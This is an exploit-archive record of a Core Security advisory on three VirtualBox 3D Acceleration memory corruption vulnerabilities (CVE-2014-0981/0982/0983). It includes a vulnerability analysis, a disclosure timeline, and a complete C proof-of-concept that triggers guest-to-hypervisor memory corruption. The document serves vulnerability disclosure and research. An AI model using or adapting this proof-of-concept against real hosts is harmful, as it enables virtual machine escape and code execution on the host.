{"exploit":{"id":"EDB-32208","name":"Oracle VM VirtualBox - 3D Acceleration Multiple Vulnerabilities","description":"Oracle VM VirtualBox - 3D Acceleration Multiple Vulnerabilities","cves":["CVE-2014-0983","CVE-2014-0982","CVE-2014-0981"],"author":"Core Security","published":"2014-03-12","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32208","path":"exploits/multiple/dos/32208.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32208.txt","vulnerabilities":[{"id":"CVE-2014-0983","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple array index errors in programs that are automatically generated by VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py in Oracle VirtualBox 4.2.x through 4.2.20 and 4.3.x before 4.3.8, when using 3D Acceleration, allow local guest OS users to execute arbitrary code on the Chromium server via certain CR_MESSAGE_OPCODES messages with a crafted index, which are not properly handled by the (1) CR_VERTEXATTRIB4NUBARB_OPCODE to the crServerDispatchVertexAttrib4NubARB function, (2) CR_VERTEXATTRIB1DARB_OPCODE to the crServerDispatchVertexAttrib1dARB function, (3) CR_VERTEXATTRIB1FARB_OPCODE to the crServerDispatchVertexAttrib1fARB function, (4) CR_VERTEXATTRIB1SARB_OPCODE to the crServerDispatchVertexAttrib1sARB function, (5) CR_VERTEXATTRIB2DARB_OPCODE to the crServerDispatchVertexAttrib2dARB function, (6) CR_VERTEXATTRIB2FARB_OPCODE to the crServerDispatchVertexAttrib2fARB function, (7) CR_VERTEXATTRIB2SARB_OPCODE to the crServerDispatchVertexAttrib2sARB function, (8) CR_VERTEXATTRIB3DARB_OPCODE to the crServerDispatchVertexAttrib3dARB function, (9) CR_VERTEXATTRIB3FARB_OPCODE to the crServerDispatchVertexAttrib3fARB function, (10) CR_VERTEXATTRIB3SARB_OPCODE to the crServerDispatchVertexAttrib3sARB function, (11) CR_VERTEXATTRIB4DARB_OPCODE to the crServerDispatchVertexAttrib4dARB function, (12) CR_VERTEXATTRIB4FARB_OPCODE to the crServerDispatchVertexAttrib4fARB function, and (13) CR_VERTEXATTRIB4SARB_OPCODE to the crServerDispatchVertexAttrib4sARB function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0983","cvss":{"version":"2.0","baseScore":6.9,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-0983"},"updatedAt":"2024-08-06T09:34:40.477Z","retrievedAt":"2026-11-27T12:45:54.822Z","stale":false,"error":null},{"id":"CVE-2014-0982","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2014-03-28T20:57:00.000Z","retrievedAt":"2026-11-27T16:07:30.952Z","stale":false,"error":null},{"id":"CVE-2014-0981","state":"PUBLISHED","title":null,"titleSource":null,"description":"VBox/GuestHost/OpenGL/util/net.c in Oracle VirtualBox before 3.2.22, 4.0.x before 4.0.24, 4.1.x before 4.1.32, 4.2.x before 4.2.24, and 4.3.x before 4.3.8, when using 3D Acceleration allows local guest OS users to execute arbitrary code on the Chromium server via crafted Chromium network pointer in a (1) CR_MESSAGE_READBACK or (2) CR_MESSAGE_WRITEBACK message to the VBoxSharedCrOpenGL service, which triggers an arbitrary pointer dereference and memory corruption. NOTE: this issue was MERGED with CVE-2014-0982 because it is the same type of vulnerability affecting the same set of versions. All CVE users should reference CVE-2014-0981 instead of CVE-2014-0982.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0981","cvss":{"version":"2.0","baseScore":4.4,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-0981"},"updatedAt":"2024-08-06T09:34:40.679Z","retrievedAt":"2026-11-27T16:07:37.077Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32208.png?v=2","url":"https://exploitbin.com/exploits/EDB-32208","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32208/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32208/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nOracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities\n\n\n\n1. *Advisory Information*\n\nTitle: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption\nVulnerabilities\nAdvisory ID: CORE-2014-0002\nAdvisory URL:\nhttp://www.coresecurity.com/content/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities\nDate published: 2014-03-11\nDate of last update: 2014-03-11\nVendors contacted: Oracle\nRelease mode: User release\n\n\n\n2. *Vulnerability Information*\n\nClass: Improper Validation of Array Index [CWE-129], Improper Validation\nof Array Index [CWE-129], Improper Validation of Array Index [CWE-129]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983\n\n\n\n3. *Vulnerability Description*\n\nVirtualBox is a general-purpose full virtualizer for x86 hardware,\ntargeted at server, desktop and embedded use.\n\nVirtualBox provides -among many other features- 3D Acceleration for\nguest machines\nthrough its Guest Additions. This feature allows guest machines to use\nthe host machine's\nGPU to render 3D graphics based on then OpenGL or Direct3D APIs.\n\nMultiple memory corruption vulnerabilities have been found in the code\nthat implements\n3D Acceleration for OpenGL graphics in Oracle VirtualBox.\nThese vulnerabilities could allow an attacker who is already running\ncode within\na Guest OS to escape from the virtual machine and execute arbitrary code\non the Host OS.\n\n\n4. *Vulnerable packages*\n\n   . Oracle VirtualBox v4.2.20 and earlier.\n   . Oracle VirtualBox v4.3.6 and earlier.\n   . Other versions may be affected too but they were no checked.\n\n5. *Non-vulnerable packages*\n\n   . Oracle VirtualBox v4.3.8.\n\n6. *Credits*\n\nThis vulnerability was discovered and researched by Francisco Falcon from\nCore Exploit Writers Team. The publication of this advisory was coordinated\nby Andres Blanco from Core Advisories Team.\n\n\n\n7. *Technical Description / Proof of Concept Code*\n\nVirtualBox makes use of the *Chromium*[1] open-source library\n(not to be confused with the open-source web browser) in order to\nprovide 3D Acceleration for OpenGL graphics.\n\nChromium provides remote rendering of OpenGL graphics through a\nclient/server model, in which\na client (i.e. an OpenGL application) delegates the rendering to the\nserver, which has access\nto 3D-capable hardware.\n\nWhen 3D Acceleration is enabled in VirtualBox, OpenGL apps running\nwithin a Guest OS\n(acting as Chromium clients) will send rendering commands to the\nChromium server, which is\nrunning in the context of the hypervisor in the Host OS.\n\nThe code that handles OpenGL rendering commands on the Host side is\nprone to multiple memory\ncorruption vulnerabilities, as described below.\n\n\n7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*\n\n[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in\nChromium. The Chromium server makes use\nof \"*network pointers*\". As defined in Chromium's documentation,\n'\"Network pointers are\nsimply memory addresses that reside on another machine.[...] The\nnetworking layer will then\ntake care of writing the payload data to the specified address.\"'[2]\n\nSo the Chromium's server code, which runs in the context of the\nVirtualBox hypervisor\nin the Host OS, provides a write-what-where memory corruption primitive\n*by design*, which\ncan be exploited to corrupt arbitrary memory addresses with arbitrary\ndata in the hypervisor process\nfrom within a virtual machine.\n\nThis is the code of the vulnerable function [file\n'src/VBox/GuestHost/OpenGL/util/net.c'], which can\nbe reached by sending a 'CR_MESSAGE_READBACK' message to the\n'VBoxSharedCrOpenGL' service:\n\n\n/-----\n/**\n * Called by the main receive function when we get a CR_MESSAGE_READBACK\n * message.  Used to implement glGet*() functions.\n */\nstatic void\ncrNetRecvReadback( CRMessageReadback *rb, unsigned int len )\n{\n    /* minus the header, the destination pointer,\n     * *and* the implicit writeback pointer at the head. */\n\n    int payload_len = len - sizeof( *rb );\n    int *writeback;\n    void *dest_ptr;\n    crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );\n    crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );\n\n    (*writeback)--;\n    crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );\n}\n\n\n-----/\n\nNote that 'rb' points to a 'CRMessageReadback' structure, which is fully\ncontrolled by the\napplication running inside a VM that is sending OpenGL rendering\ncommands to the Host side.\nThe 'len' parameter is also fully controlled from the Guest side, so\nit's possible to:\n\n   1. decrement the value stored at any memory address within the\naddress space of the hypervisor.\n   2. write any data to any memory address within the address space of\nthe hypervisor.\n\n7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*\n\n[CVE-2014-0982] The second vulnerability is closely related to the first\none, and it's also caused by Chromium's\n\"*network pointers*\".\n\nThis is the code of the vulnerable function [file\n'src/VBox/GuestHost/OpenGL/util/net.c'], which can\nbe reached by sending a 'CR_MESSAGE_WRITEBACK' message to the\n'VBoxSharedCrOpenGL' service:\n\n\n/-----\n/**\n * Called by the main receive function when we get a CR_MESSAGE_WRITEBACK\n * message.  Writeback is used to implement glGet*() functions.\n */\nstatic void\ncrNetRecvWriteback( CRMessageWriteback *wb )\n{\n    int *writeback;\n    crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );\n    (*writeback)--;\n}\n\n-----/\n\nNote that 'rb' points to a 'CRMessageWriteback' structure, which is\nfully controlled by the\napplication running inside a VM that is sending OpenGL rendering\ncommands to the Host side, so it's possible to\ndecrement the value stored at any memory address within the address\nspace of the hypervisor.\n\n\n7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption\nVulnerability*\n\n[CVE-2014-0983] When an OpenGL application running inside a VM sends\nrendering commands (in the form of opcodes + data for those opcodes)\nthrough\na 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in\nthe 'crUnpack' function.\nThe code for the 'crUnpack' function is automatically generated by the\nPython script located\nat 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'.\n\nThis function is basically a big switch statement dispatching different\nfunctions according to the opcode being processed:\n\n\n/-----\nvoid crUnpack( const void *data, const void *opcodes,\n        unsigned int num_opcodes, SPUDispatchTable *table )\n{\n    [...]\n    unpack_opcodes = (const unsigned char *)opcodes;\n    cr_unpackData = (const unsigned char *)data;\n\n    for (i = 0 ; i < num_opcodes ; i++)\n    {\n        /*crDebug(\"Unpacking opcode \\%d\", *unpack_opcodes);*/\n        switch( *unpack_opcodes )\n        {\n            case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;\n            case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;\n            case CR_BEGIN_OPCODE: crUnpackBegin(); break;\n            [...]\n\n-----/\n\nWhen the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE'\n('0xEA'),\nthe function to be invoked is 'crUnpackVertexAttrib4NubARB':\n\n\n/-----\n    [...]\n    case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB();\nbreak;\n    [...]\n\n-----/\n\nThe 'crUnpackVertexAttrib4NubARB' function reads 5 values from the\nopcode data sent by the Chromium client,\nand just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5\nvalues as arguments:\n\n\n/-----\nstatic void crUnpackVertexAttrib4NubARB(void)\n{\n  GLuint index = READ_DATA( 0, GLuint );\n  GLubyte x = READ_DATA( 4, GLubyte );\n  GLubyte y = READ_DATA( 5, GLubyte );\n  GLubyte z = READ_DATA( 6, GLubyte );\n  GLubyte w = READ_DATA( 7, GLubyte );\n  cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );\n  INCR_DATA_PTR( 8 );\n}\n\n-----/\n\n'VertexAttrib4NubARB' is a function pointer in a dispatch table, and\npoints to the function\n'crServerDispatchVertexAttrib4NubARB', whose code is generated by the\nPython script located at\n'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py':\n\n\n/-----\nvoid SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(\nGLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )\n{\n  cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y,\nz, w );\n  cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;\n}\n\n-----/\n\nNote that the 'index' parameter, which is a 4-byte integer coming from\nan untrusted source (the opcode data\nsent by the Chromium client from the VM), is used as an index within the\n'cr_server.current.c.vertexAttrib.ub4'\narray in order to write 'cr_unpackData' (which is a pointer to the\nattacker-controlled opcode data), without\nvalidating that the index is within the bounds of the array.\nThis issue can be leveraged to corrupt arbitrary memory with a pointer\nto attacker-controlled data.\n\nAlso note that *the same vulnerability affects several functions* whose\ncode is generated by the\n'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py'\nPython script:\n\n\n/-----\nOpcode CR_VERTEXATTRIB1DARB_OPCODE   [0xDE]  -> function\ncrServerDispatchVertexAttrib1dARB\nOpcode CR_VERTEXATTRIB1FARB_OPCODE   [0xDF]  -> function\ncrServerDispatchVertexAttrib1fARB\nOpcode CR_VERTEXATTRIB1SARB_OPCODE   [0xE0]  -> function\ncrServerDispatchVertexAttrib1sARB\nOpcode CR_VERTEXATTRIB2DARB_OPCODE   [0xE1]  -> function\ncrServerDispatchVertexAttrib2dARB\nOpcode CR_VERTEXATTRIB2FARB_OPCODE   [0xE2]  -> function\ncrServerDispatchVertexAttrib2fARB\nOpcode CR_VERTEXATTRIB2SARB_OPCODE   [0xE3]  -> function\ncrServerDispatchVertexAttrib2sARB\nOpcode CR_VERTEXATTRIB3DARB_OPCODE   [0xE4]  -> function\ncrServerDispatchVertexAttrib3dARB\nOpcode CR_VERTEXATTRIB3FARB_OPCODE   [0xE5]  -> function\ncrServerDispatchVertexAttrib3fARB\nOpcode CR_VERTEXATTRIB3SARB_OPCODE   [0xE6]  -> function\ncrServerDispatchVertexAttrib3sARB\nOpcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA]  -> function\ncrServerDispatchVertexAttrib4NubARB\nOpcode CR_VERTEXATTRIB4DARB_OPCODE   [0xEF]  -> function\ncrServerDispatchVertexAttrib4dARB\nOpcode CR_VERTEXATTRIB4FARB_OPCODE   [0xF0]  -> function\ncrServerDispatchVertexAttrib4fARB\nOpcode CR_VERTEXATTRIB4SARB_OPCODE   [0xF2]  -> function\ncrServerDispatchVertexAttrib4sARB\n\n-----/\n\n\n7.4. *Proof of Concept*\n\n\n/-----\n#include \"stdafx.h\"\n#include <windows.h>\n#include \"vboxguest2.h\"\n#include \"vboxguest.h\"\n#include \"err.h\"\n#include \"vboxcropenglsvc.h\"\n#include \"cr_protocol.h\"\n\n#define VBOXGUEST_DEVICE_NAME \"\\\\\\\\.\\\\VBoxGuest\"\n\n\nHANDLE open_device(){\n    HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,\n                            GENERIC_READ | GENERIC_WRITE,\n                            FILE_SHARE_READ | FILE_SHARE_WRITE,\n                            NULL,\n                            OPEN_EXISTING,\n                            FILE_ATTRIBUTE_NORMAL,\n                            NULL);\n\n    if (hDevice == INVALID_HANDLE_VALUE){\n        printf(\"[-] Could not open device %s .\\n\", VBOXGUEST_DEVICE_NAME);\n        exit(EXIT_FAILURE);\n    }\n    printf(\"[+] Handle to %s: 0x%X\\n\", VBOXGUEST_DEVICE_NAME, hDevice);\n    return hDevice;\n\n\n}\n\n\nuint32_t do_connect(HANDLE hDevice){\n    VBoxGuestHGCMConnectInfo info;\n    DWORD cbReturned = 0;\n    BOOL rc;\n\n    memset(&info, 0, sizeof(info));\n    info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;\n    strcpy(info.Loc.u.host.achName, \"VBoxSharedCrOpenGL\");\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,\nsizeof(info), &info, sizeof(info), &cbReturned, NULL);\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function do_connect()!\nLastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (info.result == VINF_SUCCESS){\n        printf(\"HGCM connect was successful: client id =0x%x\\n\",\ninfo.u32ClientID);\n    }\n    else{\n        //If 3D Acceleration is disabled, info.result value will be -2900.\n        printf(\"[-] HGCM connect failed. Result: %d (Is 3D Acceleration\nenabled??)\\n\", info.result);\n        exit(EXIT_FAILURE);\n    }\n    return info.u32ClientID;\n}\n\n\nvoid do_disconnect(HANDLE hDevice, uint32_t u32ClientID){\n    BOOL rc;\n    VBoxGuestHGCMDisconnectInfo info;\n    DWORD cbReturned = 0;\n\n    memset(&info, 0, sizeof(info));\n    info.u32ClientID = u32ClientID;\n    printf(\"Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\\n\");\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,\n&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function\ndo_disconnect()! LastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (info.result == VINF_SUCCESS){\n        printf(\"HGCM disconnect was successful.\\n\");\n    }\n    else{\n        printf(\"[-] HGCM disconnect failed. Result: %d\\n\", info.result);\n        exit(EXIT_FAILURE);\n    }\n\n}\n\n\nvoid set_version(HANDLE hDevice, uint32_t u32ClientID){\n    CRVBOXHGCMSETVERSION parms;\n    DWORD cbReturned = 0;\n    BOOL rc;\n\n    memset(&parms, 0, sizeof(parms));\n    parms.hdr.result      = VERR_WRONG_ORDER;\n    parms.hdr.u32ClientID = u32ClientID;\n    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;\n    parms.hdr.cParms      = SHCRGL_CPARMS_SET_VERSION;\n\n    parms.vMajor.type      = VMMDevHGCMParmType_32bit;\n    parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;\n    parms.vMinor.type      = VMMDevHGCMParmType_32bit;\n    parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,\nsizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);\n\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function set_version()!\nLastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (parms.hdr.result == VINF_SUCCESS){\n        printf(\"HGCM Call successful. cbReturned: 0x%X.\\n\", cbReturned);\n    }\n    else{\n        printf(\"Host didn't accept our version.\\n\");\n        exit(EXIT_FAILURE);\n    }\n}\n\n\nvoid set_pid(HANDLE hDevice, uint32_t u32ClientID){\n    CRVBOXHGCMSETPID parms;\n    DWORD cbReturned = 0;\n    BOOL rc;\n\n    memset(&parms, 0, sizeof(parms));\n    parms.hdr.result      = VERR_WRONG_ORDER;\n    parms.hdr.u32ClientID = u32ClientID;\n    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;\n    parms.hdr.cParms      = SHCRGL_CPARMS_SET_PID;\n\n    parms.u64PID.type     = VMMDevHGCMParmType_64bit;\n    parms.u64PID.u.value64 = GetCurrentProcessId();\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,\nsizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);\n\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function set_pid()!\nLastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (parms.hdr.result == VINF_SUCCESS){\n        printf(\"HGCM Call successful. cbReturned: 0x%X.\\n\", cbReturned);\n    }\n    else{\n        printf(\"Host didn't like our PID %d\\n\", GetCurrentProcessId());\n        exit(EXIT_FAILURE);\n    }\n\n}\n\n\n/* Triggers the vulnerability in the crNetRecvReadback function. */\nvoid trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){\n    CRVBOXHGCMINJECT parms;\n    DWORD cbReturned = 0;\n    BOOL rc;\n    char mybuf[1024];\n    CRMessageReadback msg;\n\n    memset(&msg, 0, sizeof(msg));\n    msg.header.type = CR_MESSAGE_READBACK;\n    msg.header.conn_id = 0x8899;\n\n\n    //This address will be decremented by 1\n    *((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;\n    //Destination address for the memcpy\n    *((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;\n\n    memcpy(&mybuf, &msg, sizeof(msg));\n    strcpy(mybuf + sizeof(msg), \"Hi hypervisor!\");\n\n    memset(&parms, 0, sizeof(parms));\n    parms.hdr.result      = VERR_WRONG_ORDER;\n    parms.hdr.u32ClientID = u32ClientID;\n    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;\n    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;\n\n    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;\n    parms.u32ClientID.u.value32  = u32ClientID;\n\n    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;\n    parms.pBuffer.u.Pointer.size         = sizeof(mybuf); //size for the\nmemcpy: sizeof(mybuf) - 0x18\n    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,\nsizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);\n\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function\ntrigger_message_readback()!. LastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (parms.hdr.result == VINF_SUCCESS){\n        printf(\"HGCM Call successful. cbReturned: 0x%X.\\n\", cbReturned);\n    }\n    else{\n        printf(\"HGCM Call failed. Result: %d\\n\", parms.hdr.result);\n        exit(EXIT_FAILURE);\n    }\n}\n\n\n/* Triggers the vulnerability in the crNetRecvWriteback function. */\nvoid trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){\n    CRVBOXHGCMINJECT parms;\n    DWORD cbReturned = 0;\n    BOOL rc;\n    char mybuf[512];\n    CRMessage msg;\n\n    memset(&mybuf, 0, sizeof(mybuf));\n\n    memset(&msg, 0, sizeof(msg));\n    msg.writeback.header.type = CR_MESSAGE_WRITEBACK;\n    msg.writeback.header.conn_id = 0x8899;\n    //This address will be decremented by 1\n    *((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;\n\n    memcpy(&mybuf, &msg, sizeof(msg));\n    strcpy(mybuf + sizeof(msg), \"dummy\");\n\n    memset(&parms, 0, sizeof(parms));\n    parms.hdr.result      = VERR_WRONG_ORDER;\n    parms.hdr.u32ClientID = u32ClientID;\n    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;\n    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;\n\n    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;\n    parms.u32ClientID.u.value32  = u32ClientID;\n\n    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;\n    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);\n    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;\n\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,\nsizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);\n\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function\ntrigger_message_writeback()! LastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (parms.hdr.result == VINF_SUCCESS){\n        printf(\"HGCM Call successful. cbReturned: 0x%X.\\n\", cbReturned);\n    }\n    else{\n        printf(\"HGCM Call failed. Result: %d\\n\", parms.hdr.result);\n        exit(EXIT_FAILURE);\n    }\n\n}\n\n\n/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB\nfunction. */\nvoid trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){\n    CRVBOXHGCMINJECT parms;\n    char mybuf[0x10f0];\n    DWORD cbReturned = 0;\n    BOOL rc;\n\n    unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};\n    DWORD opcode_data[] =\n                    {0x08,                        //Advance 8 bytes\nafter executing opcode 0xF7, subopcode 0x30\n                    0x30,                        //Subopcode for opcode 0xF7\n                    0x331,                        //Argument for opcode 0x02\n                    0xFFFCFA4B,                    //This is the\nnegative index used to trigger the memory corruption\n                    0x41414141};                //Junk\n\n    CRMessageOpcodes msg_opcodes;\n\n    memset(&mybuf, 0, sizeof(mybuf));\n\n    memset(&msg_opcodes, 0, sizeof(msg_opcodes));\n    msg_opcodes.header.conn_id = 0x8899;\n    msg_opcodes.header.type = CR_MESSAGE_OPCODES;\n    msg_opcodes.numOpcodes = sizeof(opcodes);\n\n    char *offset = (char *)&mybuf;\n    memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));\n    offset += sizeof(msg_opcodes);\n\n    /*----- Opcodes -----*/\n    memcpy(offset, &opcodes, sizeof(opcodes));\n    offset += sizeof(opcodes);\n\n    /*----- data for the opcodes -----*/\n    memcpy(offset, &opcode_data, sizeof(opcode_data));\n    offset += sizeof(opcode_data);\n\n\n    memset(&parms, 0, sizeof(parms));\n    parms.hdr.result      = 0;\n    parms.hdr.u32ClientID = u32ClientID;\n    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;\n    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;\n\n    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;\n    parms.u32ClientID.u.value32  = u32ClientID;\n\n    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;\n    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);\n    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;\n\n    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,\nsizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);\n\n    if (!rc){\n        printf(\"ERROR: DeviceIoControl failed in function\ntrigger_opcode_0xea()! LastError: %d\\n\", GetLastError());\n        exit(EXIT_FAILURE);\n    }\n\n    if (parms.hdr.result == VINF_SUCCESS){\n        printf(\"HGCM Call successful. cbReturned: 0x%X.\\n\", cbReturned);\n    }\n    else{\n        printf(\"HGCM Call failed. Result: %d\\n\", parms.hdr.result);\n        exit(EXIT_FAILURE);\n    }\n\n}\n\n\nvoid poc(int option){\n    HANDLE hDevice;\n    uint32_t u32ClientID;\n\n    /* Connect to the VBoxSharedCrOpenGL service */\n    hDevice = open_device();\n    u32ClientID = do_connect(hDevice);\n\n    /* Set version and PID */\n    set_version(hDevice, u32ClientID);\n    set_pid(hDevice, u32ClientID);\n\n    switch (option){\n    case 1:\n        printf(\"[1] triggering the first bug...\\n\");\n        trigger_message_readback(hDevice, u32ClientID);\n        break;\n    case 2:\n        printf(\"[2] triggering the second bug...\\n\");\n        trigger_message_writeback(hDevice, u32ClientID);\n        break;\n    case 3:\n        printf(\"[3] triggering the third bug...\\n\");\n        trigger_opcode_0xea(hDevice, u32ClientID);\n        break;\n    default:\n        printf(\"[!] Unknown option %d.\\n\", option);\n    }\n\n    /* Disconnect from the VBoxSharedCrOpenGL service */\n    do_disconnect(hDevice, u32ClientID);\n    CloseHandle(hDevice);\n}\n\n\n\n\nint main(int argc, char* argv[])\n{\n    if (argc < 2){\n        printf(\"Usage: %s <option number>\\n\\n\", argv[0]);\n        printf(\"* Option 1: trigger the vulnerability in the\ncrNetRecvReadback function.\\n\");\n        printf(\"* Option 2: trigger the vulnerability in the\ncrNetRecvWriteback function.\\n\");\n        printf(\"* Option 3: trigger the vulnerability in the\ncrServerDispatchVertexAttrib4NubARB function.\\n\");\n        exit(1);\n    }\n    poc(atoi(argv[1]));\n}\n\n-----/\n\n\n8. *Report Timeline*\n. 2014-02-11:\nCore Security Technologies notifies the VirtualBox team of the\nvulnerability.\nPublication date is set for March 4th, 2014.\n\n\n. 2014-02-12:\n\nVendor acknowledges the receipt of the information. Vendor asks to\ncoordinate\nthe release for April 15, 2014 which is the earliest possible date for\npublishing\nthis issue from Oracle.\n\n\n. 2014-02-12:\n\nCore schedules the advisory publication for April 15, 2014 and asks\nfor regular status reports.\n\n\n. 2014-03-04:\n\nFirst release date missed.\n\n\n. 2014-03-07:\n\nVendor releases fixes of some affected versions [3][4].\n\n\n. 2014-03-07:\n\nCore notifies that, given that some patches were disclosed,\nthe advisory will we released as user release ASAP.\n\n\n. 2014-03-07:\n\nVendor asks for delaying the advisory publication given that\nsome versions are still vulnerable.\n\n\n. 2014-03-10:\n\nCore notifies that the advisory is going to be published because\nonce the fixes have been made public the vulnerability is public as well.\n\n\n. 2014-03-10:\n\nVendor notifies that they will not include credit to Core researchers\ngiven that the advisory is being published before a fix is available to\nall affected versions.\n\n\n. 2014-03-11:\n\nAdvisory CORE-2014-0002 published as user release.\n\n\n\n9. *References*\n\n[1] http://chromium.sourceforge.net/\n[2] http://chromium.sourceforge.net/doc/howitworks.html\n[3] https://www.virtualbox.org/changeset/50441/vbox\n[4] https://www.virtualbox.org/changeset/50437/vbox\n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating\nthe future needs and requirements for information security technologies.\nWe conduct our research in several important areas of computer security\nincluding system vulnerabilities, cyber attack planning and simulation,\nsource code auditing, and cryptography. Our results include problem\nformalization, identification of vulnerabilities, novel solutions and\nprototypes for new technologies. CoreLabs regularly publishes security\nadvisories, technical papers, project information and shared software\ntools for public use at:\nhttp://corelabs.coresecurity.com.\n\n\n\n11. *About Core Security Technologies*\n\n\nCore Security Technologies enables 